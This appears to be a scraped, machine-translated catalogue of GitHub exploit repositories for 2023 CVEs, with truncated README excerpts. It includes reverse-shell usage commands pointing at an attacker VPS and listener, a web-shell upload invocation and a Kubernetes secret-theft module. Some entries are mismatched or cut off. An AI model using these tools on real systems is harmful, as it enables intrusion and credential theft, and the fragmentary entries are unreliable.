php_filter_chains_oracle_exploit_for_CVE-2023-6199

PHP filter chains: 基于错误预言机的文件读取。用于利用 CVE-2023-6199 的更新脚本 一个命令行工具，用于利用受 PHP filter chains 错误预言机导致的文件读取影响的参数。当传递给脆弱函数（如 file、hashfile、filegetcontents 或 copy）时，即使服务器不返回文件内容，它也能用于泄露本地文件内容！ 在本例中，我们通过利用 Book Stack 版本 23.10.2 中由 CVE-2023-6199 标识的 SSRF 漏洞来读取文件，该漏洞允许过滤服务器上的本地文件。 使用示例 $ python3...

Windows_AFD_LPE_CVE-2023-21768

CVE-2023-21768 ローカル権限昇格 PoC 著者: chompie & b33f 复现文章:hlingxbm デモンストレーションのみを目的としています。完全なエクスプロイトは脆弱なWindows 11 22H2システムで動作します。Write primitiveはすべての脆弱なシステムで動作します。 使用方法: WindowsAFDLPECVE-2023-21768.exe ここで、 は昇格させるプロセスのプロセスID（10進数）です。 これにより、対象のプロセスがSYSTEMに昇格します。 I/O Ring LPE プリミティブコードは、Yarden Shafir による...

minio_unauth_check

miniounauthcheck CVE-2023-28432, herramienta de detección de fugas de información de MinIO Esta herramienta es solo para fines educativos y de investigación, para mejorar la conciencia de seguridad y las prácticas de desarrollo de software. Antes de usar esta herramienta, asegúrese de cumplir con...

CVE-2023-24317

このリポジトリには README がありません。...

poc-cve-2023-2868

CVE-2023-2868: Barracuda ESG コマンドインジェクション 詳細は AttackerKB Analysis をご覧ください。 使い方 お使いのリスナーに LHOST と RHOST の変数を設定してください。 ruby poccve20232868.rb これによりリバースシェルが起動します。...

apache__dolphinscheduler_CVE-2023-49109_3-2-0

Apache Dolphinscheduler 概要 Apache DolphinSchedulerは、アジャイルでローコードな高性能ワークフローの開発を可能にする最新のデータオーケストレーションプラットフォームです。データパイプライン内の複雑なタスク依存関係の処理に特化しており、すぐに使用できる 多彩な組み込みジョブタイプを提供します。 DolphinSchedulerの主な特徴は以下の通りです。 デプロイが容易で、Standalone、Cluster、Docker、Kubernetesを含む4つのデプロイモードを提供します。 使いやすく、ワークフローはWeb UI、Python...

confluence-cve-2023-22515

confluence-cve-2023-22515 Confluence 不当访问控制：CVE-2023-22515...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect anterior a la versión 4.4.1 es vulnerable a la ejecución remota de código no autenticada. Tenga en cuenta que esta vulnerabilidad es causada por el parche incompleto de CVE-2023-37679. PRIMERO: NO SOY RESPONSABLE DE LO QUE HAGAS CON ELLO. SEGUNDO:...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell コマンドを実行 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 注意 対象ホストを入力する際は、http:// または https:// を忘れずに付けてください。...

CVE-2023-30943

CVE-2023-30943Moodle self-xss 免責事項 本コンテンツは、明示または黙示を問わず、いかなる保証もなく「現状のまま」提供されます。 著者は、本リポジトリに関連する情報やソフトウェアの使用に起因する直接的または間接的な損害について、一切の責任を負いません。 ソースコードを含むすべての資料は、情報提供のみを目的として提供されています。本リポジトリのコードの使用は、自己の責任において行ってください。...

Metasploit-Module-TFM

用于CVE-2023-2728和CVE-2024-3177的自定义Metasploit模块 描述 此自定义模块利用了Kubernetes中易受CVE-2023-2728和CVE-2024-3177影响的版本（例如v1.27.2同时受这两个漏洞影响）中的漏洞，两者均涉及绕过Kubernetes中ServiceAccount准入插件所施加的可挂载机密策略，但使用了不同类型的容器和策略。 主要目标是获取所需的机密，并以对用户友好的方式在环境变量中呈现。 验证步骤 创建或获取凭据 1. 启动msfconsole 2. 执行：use...

CVE-2023-20198-Scanner

Cisco IOS XE デバイススキャナ ユーザーガイド CVE-2023-20198-Scanner向け これは、CVE-2023-20198 および CVE-2023-20273 の影響を受ける Cisco IOS XE WebUI 上のインプラントを識別するために設計されたウェブシェルフィンガープリントスキャナです。この Python スクリプトは、HTTP および HTTPS リクエストを行うことで、侵害された Cisco IOS XE デバイスをチェックします。ターゲット IP を指定する複数の方法をサポートし、高速スキャンのためのスレッド機能を提供します。 ChangeLo...

frame_CVE-2023-40133_136_137

此存储库没有 README。...

CVE-2023-50564

CVE-2023-50564 Solo con fines educativos. Este script abusa de CVE-2023-50564 para subir una shell reverse-php al servidor objetivo. Puedes usar una shell como esta. Solo comprime el archivo php y pasa el zip a este script. Ejemplo python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p...

CVE-2023-3390_PoC

CVE-2023-3390PoC CVE-2023-3390 の PoC...

CVE-2023-23752

インストール git clone https://github.com/0xx01/CVE-2023-23752.git cd CVE-2023-23752 chmod +x exploit.sh 使い方 ./exploit.sh http://localhost...

LAB-DFIR-cve-2023-38831

LAB-DFIR-cve-2023-38831 该实验室模拟了CVE-2023–38831攻击，需要调查磁盘映像，并包含各种问题，包括理解Windows注册表、NTFS文件、缓存浏览器，以及对Windows事件序列中出现的功能的全面理解。这是该挑战的解决方案和解释。 链接 :- https://medium.com/@ra3ed.uoro/dfir-actf-e24a21838bde...

nex-forms_SQL-Injection-CVE-2023-2114

nex-formsSQL-Injection CVE-2023-2114 https://vulners.com/cve/CVE-2023-2114 https://wpscan.com/vulnerability/3d8ab3a5-1bf8-4216-91fa-e89541e5c43d WordPress用NEX-FormsプラグインにおけるSQLインジェクションの簡単なレビュー アップロードされたエクスプロイト 注意：このアップロードされたエクスプロイトコードは、この特定の脆弱性のためのものではありません... しかし、この問題に対するエクスプロイトの作り方の例です。 脆弱なバージョ...

CVE-2023-44487

なお、上記のコードはHTTPリクエストを行うためにlibcurlライブラリを使用しています。コードをコンパイルする際には、libcurlをインストールしてリンクする必要があります。このコードは簡略化されたバージョンであり、実際の要件やテストしているHTTP/2攻撃の具体的な動作に基づいて調整する必要があるかもしれません。...

HTB-Devvortex-CVE-2023-2375-PoC

Joomla! CVE-2023-23752 - 認証なし情報開示 PoC 説明 このリポジトリには、CVE-2023-23752の概念実証（PoC）エクスプロイトが含まれています。これはJoomla!の脆弱性で、認証なしの情報開示を可能にします。この脆弱性により、データベース認証情報や設定ファイルなどの機密情報が認証されていないユーザーに公開される可能性があります。 PoC このCVEに関するPoCはこちらで視聴できます： https://www.youtube.com/watch?v=vfd0AWd7T8 詳細 CVE: CVE-2023-23752 脆弱性タイプ: 情報開示...